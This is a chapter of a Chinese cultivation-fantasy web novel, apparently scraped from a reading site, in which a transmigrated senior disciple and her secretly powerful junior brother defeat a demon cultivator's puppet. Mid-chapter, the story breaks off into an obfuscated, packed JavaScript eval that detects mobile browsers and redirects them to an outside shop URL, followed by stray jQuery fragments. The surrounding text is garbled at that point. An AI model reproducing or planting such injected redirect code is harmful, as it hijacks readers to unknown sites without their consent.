金丹妖修五指翻飞掐诀,再度催动手中的摄魂幡,幡面黑雾滚滚,阴森之力席卷而来,意图将苏明月一行人的生魂尽数吸纳殆尽。
姜鱼儿与沈寒舟同时祭出本命法剑,两道清冽剑气纵横交织,堪堪抵住扑面而来的黑雾,可二人修为有限,仅仅片刻,身形连连后退。
苏明月目光一凛,当即从空间戒里取出破魔锥,宝器灵光一闪直刺而出,只听“嗤”的一声,坚韧的幡体瞬间被戳开一个大洞。
失去灵力维系的摄魂幡威势瞬间溃散,如同一块破败黑布,颓然坠落在地。
那金丹妖修目光死死盯着苏明月手中的破魔锥上,眼底的贪婪之色毫不掩饰,嗤笑道:“区区筑基修士,竟身怀中品宝器,当真是暴殄天物,只可惜,这般至宝,很快便归本座所有。”
对方那洞悉一切,势在必得的审视目光,让苏明月很不爽,她嘴角勾起一抹冷笑:“你可以试试。”
苏明月身为青云宗掌门最疼爱的大弟子,身上从不缺法宝,每次历练,师尊都会亲自挑选各式法器让她傍身,也正是这份毫无底线的偏爱和纵容,导致原主在修炼一事上愈发懈怠。
出门在外混,全靠法宝多。
金丹妖修冷哼一声,周身的黑气暴涨数倍,磅礴的灵气化作一柄数丈的魔刃,挟着毁天灭地之势的狂暴之势劈向苏明月。
沈寒舟和姜鱼儿当机立断,合力凝聚一道剑气挡在身前,可筑基对战金丹,无异于是螳臂当车。
狂暴的劲气轰然炸裂,肆虐四方,柳清瑶不知何时早已昏死过去。
沈寒舟喉间一甜,丝丝鲜血溢出唇角,千斤重压轰然落身,逼得他半跪在地。
姜鱼儿更是被这汹涌的气浪直接掀飞,娇小的身躯重重砸落在数米之外的石壁上,落地不起。
危急关头,苏明月凝聚体内所有的灵气尽数灌入师尊所赐的护身符咒中,金色符文腾空而起,化作一道结实的屏障,挡在她们身前,硬生生扛下了金丹修士的致命一击。
烟尘漫漫散去,沈寒舟艰难抬眸,声音带着几分虚弱和关切:“明月师姐,你没事吧?”
苏明月低头垂眸望着掌心彻底碎裂作废、灵力尽散的符咒,强压□□内翻涌的气血,故作镇定地地摇了摇头:“无碍。”
唯有她知晓,方才那股恐怖的灵气震荡,震得她整条手臂麻木酸胀,几近失力。
这便是金丹修士的一击!
若不是护身符咒挡下攻击,她们怕是成了尸体。
苏明月正暗自心有余悸,一枚漆黑泛着冷光的尖锥悄无声息的从沈寒舟身后急射而来。
“快闪开!”苏明月厉声大喝。
想都没想便扬手催动灵力猛地将沈寒舟推至一旁,同时指尖凝出一层薄薄灵气护罩挡在二人身前。
黑锥撞上护罩,高速旋转,灵气波动四溢,在一阵刺耳的摩擦声中,灵气护罩表面迅速蔓延开细密裂纹,不过刹那便轰然破碎,狠狠刺入她的肩头。
滚烫的温热鲜血瞬间浸透衣料,晕开大片刺目的猩红,触目惊心。
“大师姐!”沈寒舟失声惊呼,语气里透着一丝焦急,心底更是困惑不解:“你……为何要护我?”
自他记事起,世间便无人将他的生死放在心上,他曾以为被青云宗掌门捡回去收为弟子,便不用再受磋磨,可入宗之后,欺凌和冷眼依旧如影随形……
世人皆言,他是天生不祥之人。
而往日里动辄苛待、折辱他的人之中,就有苏明月,那个高高在上的大师姐,从未缺席。
他始终看不透,从前那般厌弃、疏离他的人,此刻竟会不顾自身安危,舍身相护。
究竟哪一面,才是真实的她?
苏明月死死按着血流不止的肩头,勉强稳住摇摇欲坠的身形,咳出一口腥甜鲜血,气息微弱却字字坚定:“我答应过师尊,要将你们平安带回去!”
沈寒舟怔怔望着她染血的单薄背影,少年沉寂荒芜的心底,似有什么东西悄然破土、疯狂生长,无声却震耳欲聋。
苏明月勉强撑着身形,抬眼催促他趁此出去联络宗门长老速来支援,她来拖住金丹妖修。
沈寒舟望着她毫无血色的面容,身形僵在原地,心里闪过一丝犹豫。
“快去!再拖延下去,我们所有人都要死在这里!”苏明月再度厉声催促,语气带着不容置喙的急切。
沈寒舟咬牙攥紧手里的剑柄,不再迟疑,转身化作一道残影,疾驰冲出洞穴。
目送少年身影彻底消失洞口,苏明月紧绷的心神才放松下来,接连苦战,灵力透支,她早已是强弩之末。
不过数回合的缠斗,她便被那金丹妖修一把扼住脖颈,整个人被生生凌空提起,窒息的绝望死死笼罩周身。
金丹妖修细细端详着气息奄奄的苏明月,语气带着戏谑玩味的残忍:“你一个筑基修士,能在本座手中撑过几个回合,若是放任你继续成长,来日我未必是你的对手。”
窒息感愈发浓烈,眼前光影交错,渐渐发黑,苏明月的意识渐渐涣散模糊,恍惚间,她好似回到那间狭小的出租屋里,日复一日的两点一线,孤单又乏味。
一道凌厉至极的剑光破空袭来,本该出去求援的沈寒舟,竟去而复返。
他浑身灵气暴涨,本命法剑携雷霆之势狠狠劈落,剑光决绝而狠戾,竟一剑硬生生斩断了妖修整条臂膀。
凄厉的惨叫划破寂静,扼在苏明月颈间的大手骤然松开,失重感袭来,她如同一只折翼的蝴蝶,落在地上。
她艰难撑着身子,抬眸望向眼前的少年,眼底满是不解:“你为何要回来?”
沈寒舟立在风中,神色淡漠,语气平淡道:“你还不能死,至少现在不能。”
他尚且看不透这位大师姐的转变,她的一反常态的背后,究竟藏着何种秘密,他想要亲自试探。
那金丹妖修捂着断臂,剧痛让他面目扭曲狰狞,他满眼惊骇的看向沈寒舟,难以置信道:“怎么可能?你竟是金丹修士?”
断肢处黑血汩汩流淌,他竟没察觉这少年一直刻意压制修为,此刻对方金丹气息全然展露,威压漫天。
沈寒舟立在原地,玄色衣袍被劲风猎猎吹动,往日的清纯隐忍的眉眼覆上一层冰冷寒芒。
他没有多余言语,提剑再度上前,剑风凛冽直取妖修的要害,不留半分余地。
金丹妖修又惊又惧,一边仓促运转妖力止血,一边咬牙拼死迎击:“好一个深藏不露的小辈,今日本座说什么,也绝不能留你活口!”
瘫坐在地的苏明月扶着石壁勉强坐起,肩头伤口仍在隐隐作痛,她望着场中气息蜕变的沈寒舟,眸中同样满是错愕。
她从来想过,这个在宗门里处处受排挤,遭人欺凌的师弟,看似修为平平的小师弟,竟早已抵达金丹境初期!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608489|205824||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他一直将自己的修为压制在筑基三四层,隐忍蛰伏,藏锋守拙。
这便是小说的男主沈寒舟,这般心性和隐忍,不愧是天道之子。
沈寒舟眸光未动,手中的本命法剑狰鸣震颤,瞬息之间,凌厉剑气纵横交错,那金丹修士身上遍布无数道血痕,浑身经脉尽数被剑气震伤。
仅一剑,他竟毫无招架之力……
这一刻,金丹妖修感受到了死亡的气息,面露惊惧之色,他彻底慌了,再无半分狂妄,慌忙开口求饶:“你若饶我性命,我愿献上灵宝,秘籍,尽数赠予你!”
他想以此换一份生机……
可沈寒舟手中的剑锋,未停分毫,杀伐依旧。
凛冽的剑气径直穿透他的胸腹,顺势击碎了妖修的丹田。
那妖修的身躯轰然一颤,他瞪大双眼,脸上残留着极致的不甘与绝望:“本座绝不会放过你的!”说完,便重重地砸落地面,再无半分生机。
苏明月定睛望去,只见黑袍之下,赫然是一具做工精巧的木偶,沈寒舟随意地踢了踢妖修的傀儡残骸,确定没有什么后手,这才喃喃道:“原来是具傀儡分身……”
虽说是具傀儡分身,但只要傀儡分身死了,本体也会受到影响,毕竟想要驱动傀儡,需要将一缕精魂注入其中。
神魂受损,也够这他修养一阵子了。
不过若是真身在此,沈寒舟也未必是他的对手,想到这,沈寒舟心里有些后怕。
他收起本命法剑,落地的瞬间,他抬步朝着瘫坐在地的苏明月走去。
静谧的洞穴里,少年沉稳的脚步声步步逼近,清晰可闻。
苏明月心头警铃大作,脊背发凉,身子不受控制的向后退去。
沈寒舟不会是想杀她灭口吧?
毕竟她目的一切,并知晓他是金丹修士了,方才他斩杀那妖修干脆利落,定是不会放过她……
眨眼间,沈寒舟已然逼近。
高大的身影将她牢牢的困在墙角,苏明月退无可退。
苏明月心神紧绷,脑中飞速运转,正思考说些什么才能让沈寒舟放过她时……
一只冰凉的手掌触上,轻轻抚上她的脸颊。
“大师姐……”
少年低沉轻柔的嗓音在耳畔响起。
漆黑深邃的眼眸中,悄然浮现出细密流转的蓝色纹路,散发着淡淡的光辉。
苏明月不受控制的盯着他的眸子,神智渐渐空洞涣散,天旋地转眩晕感席卷全身,最彻底失去意识,昏迷过去。
意识混沌的虚空中,苏明月有些焦灼的呼唤系统:“眠眠,我这是怎么了?”
她不会杀青了吧?
软萌的系统音适时响起:
“宿主大大莫慌,这是消除记忆的术法哦~”
苏明月恍然大悟,暗自啧叹道:“这小b登还挺阴啊!还知道猥琐发育!!”
沈寒舟隐忍多年,绝不会让任何人觉察他的境界,至少在他有足够的实力之前。
今日之事实属意外,他想用术法抹去苏明月的这段记忆。
可他终究算错了一点……
苏明月并非是这个世界的人,有系统眠眠在,消除记忆对她来说毫无作用。
不过……
苏明月眼底掠过一丝笑意,她可以装作什么都不记得,正好顺水推舟。
她和沈寒舟的博弈,才刚刚开始。